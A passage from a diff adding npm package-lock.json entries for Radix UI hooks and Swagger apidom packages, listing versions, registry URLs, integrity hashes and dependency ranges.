+ "@radix-ui/react-use-controllable-state": "1.1.0",
+ "@radix-ui/react-visually-hidden": "1.1.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-use-callback-ref": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.1.0.tgz",
+ "integrity": "sha512-CasTfvsy+frcFkbXtSJ2Zu9JHpN8TYKxkgJGWbjiZhFivxaeW7rMeZt7QELGVLaYVfFMsKHjb7Ak0nMEe+2Vfw==",
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-use-controllable-state": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.1.0.tgz",
+ "integrity": "sha512-MtfMVJiSr2NjzS0Aa90NPTnvTSg6C/JLCV7ma0W6+OMV78vd8OyRpID+Ng9LxzsPbLeuBnWBA1Nq30AtBIDChw==",
+ "dependencies": {
+ "@radix-ui/react-use-callback-ref": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-use-escape-keydown": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-escape-keydown/-/react-use-escape-keydown-1.1.0.tgz",
+ "integrity": "sha512-L7vwWlR1kTTQ3oh7g1O0CBF3YCyyTj8NmhLR+phShpyA50HCfBFKVJTpshm9PzLiKmehsrQzTYTpX9HvmC9rhw==",
+ "dependencies": {
+ "@radix-ui/react-use-callback-ref": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-use-layout-effect": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.1.0.tgz",
+ "integrity": "sha512-+FPE0rOdziWSrH9athwI1R0HDVbWlEhd+FR+aSDk4uWGmSJ9Z54sdZVDQPZAinJhJXwfT+qnj969mCsT2gfm5w==",
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-use-previous": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-previous/-/react-use-previous-1.1.0.tgz",
+ "integrity": "sha512-Z/e78qg2YFnnXcW88A4JmTtm4ADckLno6F7OXotmkQfeuCVaKuYzqAATPhVzl3delXE7CxIV8shofPn3jPc5Og==",
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-use-rect": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-rect/-/react-use-rect-1.1.0.tgz",
+ "integrity": "sha512-0Fmkebhr6PiseyZlYAOtLS+nb7jLmpqTrJyv61Pe68MKYW6OWdRE2kI70TaYY27u7H0lajqM3hSMMLFq18Z7nQ==",
+ "dependencies": {
+ "@radix-ui/rect": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-use-size": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-size/-/react-use-size-1.1.0.tgz",
+ "integrity": "sha512-XW3/vWuIXHa+2Uwcc2ABSfcCledmXhhQPlGbfcRXbiUQI5Icjcg19BGCZVKKInYbvUCut/ufbbLLPFC5cbb1hw==",
+ "dependencies": {
+ "@radix-ui/react-use-layout-effect": "1.1.0"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/react-visually-hidden": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.1.1.tgz",
+ "integrity": "sha512-vVfA2IZ9q/J+gEamvj761Oq1FpWgCDaNOOIfbPVp2MVPLEomUr5+Vf7kJGwQ24YxZSlQVar7Bes8kyTo5Dshpg==",
+ "dependencies": {
+ "@radix-ui/react-primitive": "2.0.1"
+ },
+ "peerDependencies": {
+ "@types/react": "*",
+ "@types/react-dom": "*",
+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "@types/react-dom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@radix-ui/rect": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/@radix-ui/rect/-/rect-1.1.0.tgz",
+ "integrity": "sha512-A9+lCBZoaMJlVKcRBz2YByCG+Cp2t6nAnMnNba+XiWxnj6r4JUFqfsgwocMBZU9LPtdxC6wB56ySYpc7LQIoJg=="
+ },
+ "node_modules/@rtsao/scc": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/@rtsao/scc/-/scc-1.1.0.tgz",
+ "integrity": "sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g=="
+ },
+ "node_modules/@rushstack/eslint-patch": {
+ "version": "1.10.4",
+ "resolved": "https://registry.npmjs.org/@rushstack/eslint-patch/-/eslint-patch-1.10.4.tgz",
+ "integrity": "sha512-WJgX9nzTqknM393q1QJDJmoW28kUfEnybeTfVNcNAPnIx210RXm2DiXiHzfNPJNIUUb1tJnz/l4QGtJ30PgWmA=="
+ },
+ "node_modules/@scarf/scarf": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/@scarf/scarf/-/scarf-1.4.0.tgz",
+ "integrity": "sha512-xxeapPiUXdZAE3che6f3xogoJPeZgig6omHEy1rIY5WVsB3H2BHNnZH+gHG6x91SCWyQCzWGsuL2Hh3ClO5/qQ==",
+ "hasInstallScript": true,
+ "license": "Apache-2.0"
+ },
+ "node_modules/@swagger-api/apidom-ast": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ast/-/apidom-ast-1.0.0-rc.1.tgz",
+ "integrity": "sha512-hsAySkWlIjgkQEDu1YEbvnxdEC3rD9bjQf7UYm0vzkvL5PNDd6lHLhxb825bQAfXQjw7WOxtV7eNrgqRQohMDg==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-error": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0",
+ "unraw": "^3.0.0"
+ }
+ },
+ "node_modules/@swagger-api/apidom-core": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-core/-/apidom-core-1.0.0-rc.1.tgz",
+ "integrity": "sha512-vlguVts28oYBjCU5ZYfnX6yAFys/dZ1PUZqpYevMIGi8lEvxEfoxKEaUQa1Lr974cfKaVGBs8gNNhvDKXbH/jA==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-ast": "^1.0.0-rc.1",
+ "@swagger-api/apidom-error": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "minim": "~0.23.8",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0",
+ "short-unique-id": "^5.3.2",
+ "ts-mixer": "^6.0.3"
+ }
+ },
+ "node_modules/@swagger-api/apidom-error": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-error/-/apidom-error-1.0.0-rc.1.tgz",
+ "integrity": "sha512-74tTb6QX8VeAvu/9XipXd4Ly3N3q+yJez+lGZD7Qa11E00AhNpzqH7swgZKutLEfq1tHxyGWE1A6xF8IiU4CJg==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.20.7"
+ }
+ },
+ "node_modules/@swagger-api/apidom-json-pointer": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-json-pointer/-/apidom-json-pointer-1.0.0-rc.1.tgz",
+ "integrity": "sha512-fNDQozPRuD9ReYcCnIqr5jU0faFDUl3VrUtfeLl3YevxNB+onZkUidUvzUJgDjZK9Se567BgL0rK9hnEO/Q8qw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-error": "^1.0.0-rc.1",
+ "@swaggerexpert/json-pointer": "^2.10.1"
+ }
+ },
+ "node_modules/@swagger-api/apidom-ns-api-design-systems": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-api-design-systems/-/apidom-ns-api-design-systems-1.0.0-rc.1.tgz",
+ "integrity": "sha512-gV6vQHpdtVKtrV+uUCPwsSL5nX5zD/3vR7dSYE0Lii7f7RkpIXAgQViZSbv7+h8TB20DNobGt+JZH/gGaY+Oxg==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-error": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-openapi-3-1": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0",
+ "ts-mixer": "^6.0.3"
+ }
+ },
+ "node_modules/@swagger-api/apidom-ns-arazzo-1": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-arazzo-1/-/apidom-ns-arazzo-1-1.0.0-rc.1.tgz",
+ "integrity": "sha512-Bx3PMLp+613EgSsLLg6Ucg3FtbO2i1bVcFZXgImun5pYNfmtQu21ELfWKj8ty/Ts2zR1VKOn5+i9DyMOH/zpsA==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-json-schema-2020-12": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0",
+ "ts-mixer": "^6.0.3"
+ }
+ },
+ "node_modules/@swagger-api/apidom-ns-asyncapi-2": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-asyncapi-2/-/apidom-ns-asyncapi-2-1.0.0-rc.1.tgz",
+ "integrity": "sha512-Vvo1f/H3mUuTny1d+XPudSattDWdHP1VhowxAOAFrnLVM4qvFbeBdzWjmTPEaeRsOz+Vq6rJOC4DPmHmtkR+oQ==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-json-schema-draft-7": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0",
+ "ts-mixer": "^6.0.3"
+ }
+ },
+ "node_modules/@swagger-api/apidom-ns-json-schema-2019-09": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-json-schema-2019-09/-/apidom-ns-json-schema-2019-09-1.0.0-rc.1.tgz",
+ "integrity": "sha512-1va09+kSTpNKc9oKs0rk2FWP2wk9AAdOcdmLpPEbzMnThQD1DHeBCk5OMStGZlaROxKWMPVZ5EmKy6rTRXvEIQ==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-error": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-json-schema-draft-7": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0",
+ "ts-mixer": "^6.0.4"
+ }
+ },
+ "node_modules/@swagger-api/apidom-ns-json-schema-2020-12": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-json-schema-2020-12/-/apidom-ns-json-schema-2020-12-1.0.0-rc.1.tgz",
+ "integrity": "sha512-ixNci2lwVD0yC4lUrmOOhgE/denI8keGVnHXYokbq0QxlQWuwuVzjVEtVMdmEaX3JaYVmEI5tr8K9MPW1zso1A==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-error": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-json-schema-2019-09": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0",
+ "ts-mixer": "^6.0.4"
+ }
+ },
+ "node_modules/@swagger-api/apidom-ns-json-schema-draft-4": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-json-schema-draft-4/-/apidom-ns-json-schema-draft-4-1.0.0-rc.1.tgz",
+ "integrity": "sha512-kLGANNv8oAWWvnVqWat/AqOEo6XBfdMF3I7BLL2eZFBE8bhTbFMvmAvUfnwcehYo3K4vT+J60DWrwqYBoGSSUQ==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-ast": "^1.0.0-rc.1",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0",
+ "ts-mixer": "^6.0.4"
+ }
+ },
+ "node_modules/@swagger-api/apidom-ns-json-schema-draft-6": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-json-schema-draft-6/-/apidom-ns-json-schema-draft-6-1.0.0-rc.1.tgz",
+ "integrity": "sha512-UzoTSrPOh+dwzSKZmawBwhWg4xGgpdNBmtV7jDJGEyFGsEkPvDBvViq+4sfMxO/BGoqPCD/jdt4yF16AKRxLiw==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-error": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-json-schema-draft-4": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0",
+ "ts-mixer": "^6.0.4"
+ }
+ },
+ "node_modules/@swagger-api/apidom-ns-json-schema-draft-7": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-json-schema-draft-7/-/apidom-ns-json-schema-draft-7-1.0.0-rc.1.tgz",
+ "integrity": "sha512-3alW6gJKeb+DzTu+LYpYyEc5swo3oP8aoatOcVceWo/A/568zfIW0wWssf9WoasI42jEktV17z4A6ZwT6PzYbA==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-error": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-json-schema-draft-6": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0",
+ "ts-mixer": "^6.0.4"
+ }
+ },
+ "node_modules/@swagger-api/apidom-ns-openapi-2": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-openapi-2/-/apidom-ns-openapi-2-1.0.0-rc.1.tgz",
+ "integrity": "sha512-SJ79fGH+WA7IYEXOJFPjXCB5bg6uoJDmkEYxMtZpN0Q+juFSkMcquh3jVf0j0y+6gFe/MZjIFDHxiBdeJarOig==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-error": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-json-schema-draft-4": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0",
+ "ts-mixer": "^6.0.3"
+ }
+ },
+ "node_modules/@swagger-api/apidom-ns-openapi-3-0": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-openapi-3-0/-/apidom-ns-openapi-3-0-1.0.0-rc.1.tgz",
+ "integrity": "sha512-TC2EBxBFJWD5pbZKUcbySqCt2nQmeP60ooS4f4Nl5r6vB/BeNbuO4FmO7CDI8OXD7b4J2+ro5KrXMs1EOQ3kVA==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-error": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-json-schema-draft-4": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0",
+ "ts-mixer": "^6.0.3"
+ }
+ },
+ "node_modules/@swagger-api/apidom-ns-openapi-3-1": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-ns-openapi-3-1/-/apidom-ns-openapi-3-1-1.0.0-rc.1.tgz",
+ "integrity": "sha512-IY87MhqFBJnzhPWlr/OEVUa3iDjZuiwlyoWX4lw2jbKX+mLDrceGG5nqZawDACAjTjvtsjJcFP81D2VmjHVT5Q==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-ast": "^1.0.0-rc.1",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-json-pointer": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-json-schema-2020-12": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-openapi-3-0": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0",
+ "ts-mixer": "^6.0.3"
+ }
+ },
+ "node_modules/@swagger-api/apidom-parser-adapter-api-design-systems-json": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-api-design-systems-json/-/apidom-parser-adapter-api-design-systems-json-1.0.0-rc.1.tgz",
+ "integrity": "sha512-1/koF8VwJHzFwk6FMWen39vpMUNcoCMXVY6MjMGag0h37LY5YAByl0LcYzLa33cvm5KCa23Aa75cu7Ns0SR1HQ==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-api-design-systems": "^1.0.0-rc.1",
+ "@swagger-api/apidom-parser-adapter-json": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0"
+ }
+ },
+ "node_modules/@swagger-api/apidom-parser-adapter-api-design-systems-yaml": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-api-design-systems-yaml/-/apidom-parser-adapter-api-design-systems-yaml-1.0.0-rc.1.tgz",
+ "integrity": "sha512-Gjx1gojtYvGFqKnGttv84ba0RCkY7Xa+12kj9HVik8G+YVzUN78Qt8yu96ak0oXFlY1Ai8MQb5siC8YH4pC8Dg==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-api-design-systems": "^1.0.0-rc.1",
+ "@swagger-api/apidom-parser-adapter-yaml-1-2": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0"
+ }
+ },
+ "node_modules/@swagger-api/apidom-parser-adapter-arazzo-json-1": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-arazzo-json-1/-/apidom-parser-adapter-arazzo-json-1-1.0.0-rc.1.tgz",
+ "integrity": "sha512-RHIly3bprJELMlt91UFqmMbAtIxDyHi8DM27YVXRjrX7zncP6QKyevcg2ajEe8UaNtkCFvPZW9h0gDh/ZW6ZYQ==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-arazzo-1": "^1.0.0-rc.1",
+ "@swagger-api/apidom-parser-adapter-json": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0"
+ }
+ },
+ "node_modules/@swagger-api/apidom-parser-adapter-arazzo-yaml-1": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-arazzo-yaml-1/-/apidom-parser-adapter-arazzo-yaml-1-1.0.0-rc.1.tgz",
+ "integrity": "sha512-a+FweCIFAAnjvEWpMAd93xczbYX7AU4prwAMJ3QpFszltq2K7HKWUN1mMRplYPg5SSRLZojymdyMlu1evuP2Sg==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-arazzo-1": "^1.0.0-rc.1",
+ "@swagger-api/apidom-parser-adapter-yaml-1-2": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0"
+ }
+ },
+ "node_modules/@swagger-api/apidom-parser-adapter-asyncapi-json-2": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-asyncapi-json-2/-/apidom-parser-adapter-asyncapi-json-2-1.0.0-rc.1.tgz",
+ "integrity": "sha512-IKJ95OH35dW1+yGYDoE8uE3movG9z8Nht2QW8Ja75/H/jAFYGCxj56ZborEIiZxp83ItFqxQFn+ZUvwD7bDZew==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-asyncapi-2": "^1.0.0-rc.1",
+ "@swagger-api/apidom-parser-adapter-json": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0"
+ }
+ },
+ "node_modules/@swagger-api/apidom-parser-adapter-asyncapi-yaml-2": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-asyncapi-yaml-2/-/apidom-parser-adapter-asyncapi-yaml-2-1.0.0-rc.1.tgz",
+ "integrity": "sha512-cVu2Ue1U809HiGeAR/54yF42y4UKiWh45sEKzkXPYJUqRUd2Ewyo5KHtlckjNnCDRILZEhaPaZFpxURSbyUeSg==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-asyncapi-2": "^1.0.0-rc.1",
+ "@swagger-api/apidom-parser-adapter-yaml-1-2": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0"
+ }
+ },
+ "node_modules/@swagger-api/apidom-parser-adapter-json": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-json/-/apidom-parser-adapter-json-1.0.0-rc.1.tgz",
+ "integrity": "sha512-pmWOuZFxSNdbV1xNV0IoIrRiweaVl9yGAiEtiYH0BzbD+yGQSxi1ltMkZDVoyBPbe2NtygFDRaINSDLwuYpUYA==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-ast": "^1.0.0-rc.1",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-error": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0",
+ "tree-sitter": "=0.21.1",
+ "tree-sitter-json": "=0.24.8",
+ "web-tree-sitter": "=0.24.5"
+ }
+ },
+ "node_modules/@swagger-api/apidom-parser-adapter-openapi-json-2": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-openapi-json-2/-/apidom-parser-adapter-openapi-json-2-1.0.0-rc.1.tgz",
+ "integrity": "sha512-+OsFBsD9PPqtcgETXU7l00/TMOfbtM+gvafJIdS/a+O1NQ2upAujQB3ArIB3sry3vloorjKmPyY6ZK/8rEKhNA==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-openapi-2": "^1.0.0-rc.1",
+ "@swagger-api/apidom-parser-adapter-json": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0"
+ }
+ },
+ "node_modules/@swagger-api/apidom-parser-adapter-openapi-json-3-0": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-openapi-json-3-0/-/apidom-parser-adapter-openapi-json-3-0-1.0.0-rc.1.tgz",
+ "integrity": "sha512-FEUJ+RaXKMP6LHMVeVyUPKdqjEqMSEZVhpvZt3Kh5fvnZvdgWngqs4gUjxO+dQCDVWkBxH/29uXm2eghdaM2Lw==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-openapi-3-0": "^1.0.0-rc.1",
+ "@swagger-api/apidom-parser-adapter-json": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0"
+ }
+ },
+ "node_modules/@swagger-api/apidom-parser-adapter-openapi-json-3-1": {
+ "version": "1.0.0-rc.1",
+ "resolved": "https://registry.npmjs.org/@swagger-api/apidom-parser-adapter-openapi-json-3-1/-/apidom-parser-adapter-openapi-json-3-1-1.0.0-rc.1.tgz",
+ "integrity": "sha512-pcfPj3FW2IWPYmU5kE0YB7npqV2vN+DvqUsw1GcDzsb8y2IdkzagHtMPZkM/KrfHFmhsoHm5YNpYC+Vvd2g61Q==",
+ "license": "Apache-2.0",
+ "optional": true,
+ "dependencies": {
+ "@babel/runtime-corejs3": "^7.26.10",
+ "@swagger-api/apidom-core": "^1.0.0-rc.1",
+ "@swagger-api/apidom-ns-openapi-3-1": "^1.0.0-rc.1",
+ "@swagger-api/apidom-parser-adapter-json": "^1.0.0-rc.1",
+ "@types/ramda": "~0.30.0",
+ "ramda": "~0.30.0",
+ "ramda-adjunct": "^5.0.0"
+ }
+ },
+ "node_modules/@swagger-api/apidom-parser-adapter-openapi-yaml-2": {
